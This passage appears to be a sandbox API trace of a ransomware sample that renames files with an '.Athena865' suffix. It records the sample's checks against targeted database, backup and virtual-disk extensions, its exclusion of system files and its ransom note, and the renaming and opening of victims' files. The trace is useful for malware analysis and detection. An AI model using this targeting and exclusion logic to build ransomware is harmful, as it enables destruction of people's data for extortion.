lpString2="accdw") returned -1 [0135.571] lstrlenW (lpString="accft") returned 5 [0135.571] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0135.571] lstrlenW (lpString="adb") returned 3 [0135.571] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.571] lstrlenW (lpString="adb") returned 3 [0135.571] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.571] lstrlenW (lpString="ade") returned 3 [0135.571] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0135.571] lstrlenW (lpString="adf") returned 3 [0135.571] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0135.571] lstrlenW (lpString="adn") returned 3 [0135.571] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0135.571] lstrlenW (lpString="adp") returned 3 [0135.571] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0135.571] lstrlenW (lpString="alf") returned 3 [0135.571] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0135.572] lstrlenW (lpString="ask") returned 3 [0135.572] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0135.572] lstrlenW (lpString="btr") returned 3 [0135.572] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0135.572] lstrlenW (lpString="cat") returned 3 [0135.572] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0135.572] lstrlenW (lpString="cdb") returned 3 [0135.572] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0135.572] lstrlenW (lpString="ckp") returned 3 [0135.572] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0135.572] lstrlenW (lpString="cma") returned 3 [0135.572] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0135.572] lstrlenW (lpString="cpd") returned 3 [0135.572] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0135.572] lstrlenW (lpString="dacpac") returned 6 [0135.572] lstrcmpiW (lpString1="7_.GIF", lpString2="dacpac") returned -1 [0135.572] lstrlenW (lpString="dad") returned 3 [0135.572] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0135.572] lstrlenW (lpString="dadiagrams") returned 10 [0135.572] lstrcmpiW (lpString1="01297_.GIF", lpString2="dadiagrams") returned -1 [0135.572] lstrlenW (lpString="daschema") returned 8 [0135.572] lstrcmpiW (lpString1="297_.GIF", lpString2="daschema") returned -1 [0135.572] lstrlenW (lpString="db-journal") returned 10 [0135.572] lstrcmpiW (lpString1="01297_.GIF", lpString2="db-journal") returned -1 [0135.572] lstrlenW (lpString="db-shm") returned 6 [0135.572] lstrcmpiW (lpString1="7_.GIF", lpString2="db-shm") returned -1 [0135.572] lstrlenW (lpString="db-wal") returned 6 [0135.572] lstrcmpiW (lpString1="7_.GIF", lpString2="db-wal") returned -1 [0135.573] lstrlenW (lpString="dbc") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0135.573] lstrlenW (lpString="dbs") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0135.573] lstrlenW (lpString="dbt") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0135.573] lstrlenW (lpString="dbv") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0135.573] lstrlenW (lpString="dbx") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0135.573] lstrlenW (lpString="dcb") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0135.573] lstrlenW (lpString="dct") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0135.573] lstrlenW (lpString="dcx") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0135.573] lstrlenW (lpString="ddl") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0135.573] lstrlenW (lpString="dlis") returned 4 [0135.573] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0135.573] lstrlenW (lpString="dp1") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0135.573] lstrlenW (lpString="dqy") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0135.573] lstrlenW (lpString="dsk") returned 3 [0135.573] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0135.573] lstrlenW (lpString="dsn") returned 3 [0135.574] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0135.574] lstrlenW (lpString="dtsx") returned 4 [0135.574] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0135.574] lstrlenW (lpString="dxl") returned 3 [0135.574] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0135.574] lstrlenW (lpString="eco") returned 3 [0135.574] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0135.574] lstrlenW (lpString="ecx") returned 3 [0135.574] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0135.574] lstrlenW (lpString="edb") returned 3 [0135.574] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0135.574] lstrlenW (lpString="epim") returned 4 [0135.574] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0135.574] lstrlenW (lpString="fcd") returned 3 [0135.574] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0135.574] lstrlenW (lpString="fdb") returned 3 [0135.574] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0135.574] lstrlenW (lpString="fic") returned 3 [0135.574] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0135.574] lstrlenW (lpString="flexolibrary") returned 12 [0135.574] lstrlenW (lpString="fm5") returned 3 [0135.574] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0135.574] lstrlenW (lpString="fmp") returned 3 [0135.574] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0135.574] lstrlenW (lpString="fmp12") returned 5 [0135.574] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0135.574] lstrlenW (lpString="fmpsl") returned 5 [0135.575] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0135.575] lstrlenW (lpString="fol") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0135.575] lstrlenW (lpString="fp3") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0135.575] lstrlenW (lpString="fp4") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0135.575] lstrlenW (lpString="fp5") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0135.575] lstrlenW (lpString="fp7") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0135.575] lstrlenW (lpString="fpt") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0135.575] lstrlenW (lpString="frm") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0135.575] lstrlenW (lpString="gdb") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0135.575] lstrlenW (lpString="gdb") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0135.575] lstrlenW (lpString="grdb") returned 4 [0135.575] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0135.575] lstrlenW (lpString="gwi") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0135.575] lstrlenW (lpString="hdb") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0135.575] lstrlenW (lpString="his") returned 3 [0135.575] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0135.575] lstrlenW (lpString="ib") returned 2 [0135.576] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0135.576] lstrlenW (lpString="idb") returned 3 [0135.576] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0135.576] lstrlenW (lpString="ihx") returned 3 [0135.576] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0135.576] lstrlenW (lpString="itdb") returned 4 [0135.576] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0135.576] lstrlenW (lpString="itw") returned 3 [0135.576] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0135.576] lstrlenW (lpString="jet") returned 3 [0135.576] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0135.576] lstrlenW (lpString="jtx") returned 3 [0135.576] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0135.576] lstrlenW (lpString="kdb") returned 3 [0135.576] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0135.576] lstrlenW (lpString="kexi") returned 4 [0135.576] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0135.576] lstrlenW (lpString="kexic") returned 5 [0135.576] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0135.576] lstrlenW (lpString="kexis") returned 5 [0135.576] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0135.576] lstrlenW (lpString="lgc") returned 3 [0135.576] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0135.576] lstrlenW (lpString="lwx") returned 3 [0135.576] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0135.576] lstrlenW (lpString="maf") returned 3 [0135.576] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0135.576] lstrlenW (lpString="maq") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0135.577] lstrlenW (lpString="mar") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0135.577] lstrlenW (lpString="marshal") returned 7 [0135.577] lstrcmpiW (lpString1="97_.GIF", lpString2="marshal") returned -1 [0135.577] lstrlenW (lpString="mas") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0135.577] lstrlenW (lpString="mav") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0135.577] lstrlenW (lpString="maw") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0135.577] lstrlenW (lpString="mdbhtml") returned 7 [0135.577] lstrcmpiW (lpString1="97_.GIF", lpString2="mdbhtml") returned -1 [0135.577] lstrlenW (lpString="mdn") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0135.577] lstrlenW (lpString="mdt") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0135.577] lstrlenW (lpString="mfd") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0135.577] lstrlenW (lpString="mpd") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0135.577] lstrlenW (lpString="mrg") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0135.577] lstrlenW (lpString="mud") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0135.577] lstrlenW (lpString="mwb") returned 3 [0135.577] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0135.578] lstrlenW (lpString="myd") returned 3 [0135.578] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0135.578] lstrlenW (lpString="ndf") returned 3 [0135.578] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0135.578] lstrlenW (lpString="nnt") returned 3 [0135.578] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0135.578] lstrlenW (lpString="nrmlib") returned 6 [0135.578] lstrcmpiW (lpString1="7_.GIF", lpString2="nrmlib") returned -1 [0135.578] lstrlenW (lpString="ns2") returned 3 [0135.578] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0135.578] lstrlenW (lpString="ns3") returned 3 [0135.578] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0135.578] lstrlenW (lpString="ns4") returned 3 [0135.578] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0135.578] lstrlenW (lpString="nsf") returned 3 [0135.578] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0135.578] lstrlenW (lpString="nv") returned 2 [0135.578] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0135.578] lstrlenW (lpString="nv2") returned 3 [0135.578] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0135.578] lstrlenW (lpString="nwdb") returned 4 [0135.578] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0135.578] lstrlenW (lpString="nyf") returned 3 [0135.578] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0135.578] lstrlenW (lpString="odb") returned 3 [0135.578] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0135.578] lstrlenW (lpString="odb") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0135.579] lstrlenW (lpString="oqy") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0135.579] lstrlenW (lpString="ora") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0135.579] lstrlenW (lpString="orx") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0135.579] lstrlenW (lpString="owc") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0135.579] lstrlenW (lpString="p96") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0135.579] lstrlenW (lpString="p97") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0135.579] lstrlenW (lpString="pan") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0135.579] lstrlenW (lpString="pdb") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0135.579] lstrlenW (lpString="pdm") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0135.579] lstrlenW (lpString="pnz") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0135.579] lstrlenW (lpString="qry") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0135.579] lstrlenW (lpString="qvd") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0135.579] lstrlenW (lpString="rbf") returned 3 [0135.579] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0135.580] lstrlenW (lpString="rctd") returned 4 [0135.580] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0135.580] lstrlenW (lpString="rod") returned 3 [0135.580] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0135.580] lstrlenW (lpString="rodx") returned 4 [0135.580] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0135.580] lstrlenW (lpString="rpd") returned 3 [0135.580] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0135.580] lstrlenW (lpString="rsd") returned 3 [0135.580] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0135.580] lstrlenW (lpString="sas7bdat") returned 8 [0135.580] lstrcmpiW (lpString1="297_.GIF", lpString2="sas7bdat") returned -1 [0135.580] lstrlenW (lpString="sbf") returned 3 [0135.580] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0135.580] lstrlenW (lpString="scx") returned 3 [0135.580] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0135.580] lstrlenW (lpString="sdb") returned 3 [0135.580] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0135.580] lstrlenW (lpString="sdc") returned 3 [0135.580] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0135.580] lstrlenW (lpString="sdf") returned 3 [0135.580] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0135.580] lstrlenW (lpString="sis") returned 3 [0135.580] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0135.580] lstrlenW (lpString="spq") returned 3 [0135.580] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0135.580] lstrlenW (lpString="te") returned 2 [0135.581] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0135.581] lstrlenW (lpString="teacher") returned 7 [0135.581] lstrcmpiW (lpString1="97_.GIF", lpString2="teacher") returned -1 [0135.581] lstrlenW (lpString="tmd") returned 3 [0135.581] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1 [0135.581] lstrlenW (lpString="tps") returned 3 [0135.581] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0135.581] lstrlenW (lpString="trc") returned 3 [0135.581] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0135.581] lstrlenW (lpString="trc") returned 3 [0135.581] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0135.581] lstrlenW (lpString="trm") returned 3 [0135.581] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0135.581] lstrlenW (lpString="udb") returned 3 [0135.581] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0135.581] lstrlenW (lpString="udl") returned 3 [0135.581] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0135.581] lstrlenW (lpString="usr") returned 3 [0135.581] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0135.581] lstrlenW (lpString="v12") returned 3 [0135.581] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0135.581] lstrlenW (lpString="vis") returned 3 [0135.581] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0135.581] lstrlenW (lpString="vpd") returned 3 [0135.581] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0135.581] lstrlenW (lpString="vvv") returned 3 [0135.582] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0135.582] lstrlenW (lpString="wdb") returned 3 [0135.582] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0135.582] lstrlenW (lpString="wmdb") returned 4 [0135.582] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0135.582] lstrlenW (lpString="wrk") returned 3 [0135.582] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0135.582] lstrlenW (lpString="xdb") returned 3 [0135.582] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0135.582] lstrlenW (lpString="xld") returned 3 [0135.582] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0135.582] lstrlenW (lpString="xmlff") returned 5 [0135.582] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0135.582] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.Athena865") returned 73 [0135.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.athena865"), dwFlags=0x1) returned 1 [0135.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.584] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=894) returned 1 [0135.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2=".") returned 1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="..") returned 1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="windows") returned -1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="bootmgr") returned 1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="temp") returned 1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="pagefile.sys") returned 1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="boot") returned 1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="ids.txt") returned 1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="ntuser.dat") returned 1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="perflogs") returned 1 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="MSBuild") returned 1 [0135.589] lstrlenW (lpString="WB01298_.GIF") returned 12 [0135.589] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01298_.GIF" | out: lpString1="WB01298_.GIF") returned="WB01298_.GIF" [0135.589] lstrlenW (lpString="WB01298_.GIF") returned 12 [0135.589] lstrlenW (lpString="Athena865") returned 9 [0135.589] lstrcmpiW (lpString1="1298_.GIF", lpString2="Athena865") returned -1 [0135.589] lstrlenW (lpString=".dll") returned 4 [0135.589] lstrcmpiW (lpString1="WB01298_.GIF", lpString2=".dll") returned 1 [0135.589] lstrlenW (lpString=".lnk") returned 4 [0135.590] lstrcmpiW (lpString1="WB01298_.GIF", lpString2=".lnk") returned 1 [0135.590] lstrlenW (lpString=".ini") returned 4 [0135.590] lstrcmpiW (lpString1="WB01298_.GIF", lpString2=".ini") returned 1 [0135.590] lstrlenW (lpString=".sys") returned 4 [0135.590] lstrcmpiW (lpString1="WB01298_.GIF", lpString2=".sys") returned 1 [0135.590] lstrlenW (lpString="WB01298_.GIF") returned 12 [0135.590] lstrlenW (lpString="bak") returned 3 [0135.590] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0135.590] lstrlenW (lpString="ba_") returned 3 [0135.590] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0135.590] lstrlenW (lpString="dbb") returned 3 [0135.590] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0135.590] lstrlenW (lpString="vmdk") returned 4 [0135.590] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0135.590] lstrlenW (lpString="rar") returned 3 [0135.590] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0135.590] lstrlenW (lpString="zip") returned 3 [0135.590] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0135.590] lstrlenW (lpString="tgz") returned 3 [0135.590] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0135.590] lstrlenW (lpString="vbox") returned 4 [0135.590] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0135.590] lstrlenW (lpString="vdi") returned 3 [0135.590] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0135.590] lstrlenW (lpString="vhd") returned 3 [0135.590] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0135.590] lstrlenW (lpString="vhdx") returned 4 [0135.590] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0135.591] lstrlenW (lpString="avhd") returned 4 [0135.591] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0135.591] lstrlenW (lpString="db") returned 2 [0135.591] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0135.591] lstrlenW (lpString="db2") returned 3 [0135.591] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0135.591] lstrlenW (lpString="db3") returned 3 [0135.591] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0135.591] lstrlenW (lpString="dbf") returned 3 [0135.591] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0135.591] lstrlenW (lpString="mdf") returned 3 [0135.591] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0135.591] lstrlenW (lpString="mdb") returned 3 [0135.591] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0135.591] lstrlenW (lpString="sql") returned 3 [0135.591] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0135.591] lstrlenW (lpString="sqlite") returned 6 [0135.591] lstrcmpiW (lpString1="8_.GIF", lpString2="sqlite") returned -1 [0135.591] lstrlenW (lpString="sqlite3") returned 7 [0135.591] lstrcmpiW (lpString1="98_.GIF", lpString2="sqlite3") returned -1 [0135.591] lstrlenW (lpString="sqlitedb") returned 8 [0135.591] lstrcmpiW (lpString1="298_.GIF", lpString2="sqlitedb") returned -1 [0135.591] lstrlenW (lpString="xml") returned 3 [0135.591] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0135.591] lstrlenW (lpString="$er") returned 3 [0135.591] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0135.591] lstrlenW (lpString="4dd") returned 3 [0135.591] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0135.592] lstrlenW (lpString="4dl") returned 3 [0135.592] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0135.592] lstrlenW (lpString="^^^") returned 3 [0135.592] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0135.592] lstrlenW (lpString="abs") returned 3 [0135.592] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0135.592] lstrlenW (lpString="abx") returned 3 [0135.592] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0135.592] lstrlenW (lpString="accdb") returned 5 [0135.592] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0135.592] lstrlenW (lpString="accdc") returned 5 [0135.592] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0135.592] lstrlenW (lpString="accde") returned 5 [0135.592] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0135.592] lstrlenW (lpString="accdr") returned 5 [0135.592] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0135.592] lstrlenW (lpString="accdt") returned 5 [0135.592] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0135.592] lstrlenW (lpString="accdw") returned 5 [0135.592] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0135.592] lstrlenW (lpString="accft") returned 5 [0135.592] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0135.592] lstrlenW (lpString="adb") returned 3 [0135.592] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.592] lstrlenW (lpString="adb") returned 3 [0135.592] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.592] lstrlenW (lpString="ade") returned 3 [0135.592] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0135.592] lstrlenW (lpString="adf") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0135.593] lstrlenW (lpString="adn") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0135.593] lstrlenW (lpString="adp") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0135.593] lstrlenW (lpString="alf") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0135.593] lstrlenW (lpString="ask") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0135.593] lstrlenW (lpString="btr") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0135.593] lstrlenW (lpString="cat") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0135.593] lstrlenW (lpString="cdb") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0135.593] lstrlenW (lpString="ckp") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0135.593] lstrlenW (lpString="cma") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0135.593] lstrlenW (lpString="cpd") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0135.593] lstrlenW (lpString="dacpac") returned 6 [0135.593] lstrcmpiW (lpString1="8_.GIF", lpString2="dacpac") returned -1 [0135.593] lstrlenW (lpString="dad") returned 3 [0135.593] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0135.593] lstrlenW (lpString="dadiagrams") returned 10 [0135.593] lstrcmpiW (lpString1="01298_.GIF", lpString2="dadiagrams") returned -1 [0135.593] lstrlenW (lpString="daschema") returned 8 [0135.593] lstrcmpiW (lpString1="298_.GIF", lpString2="daschema") returned -1 [0135.594] 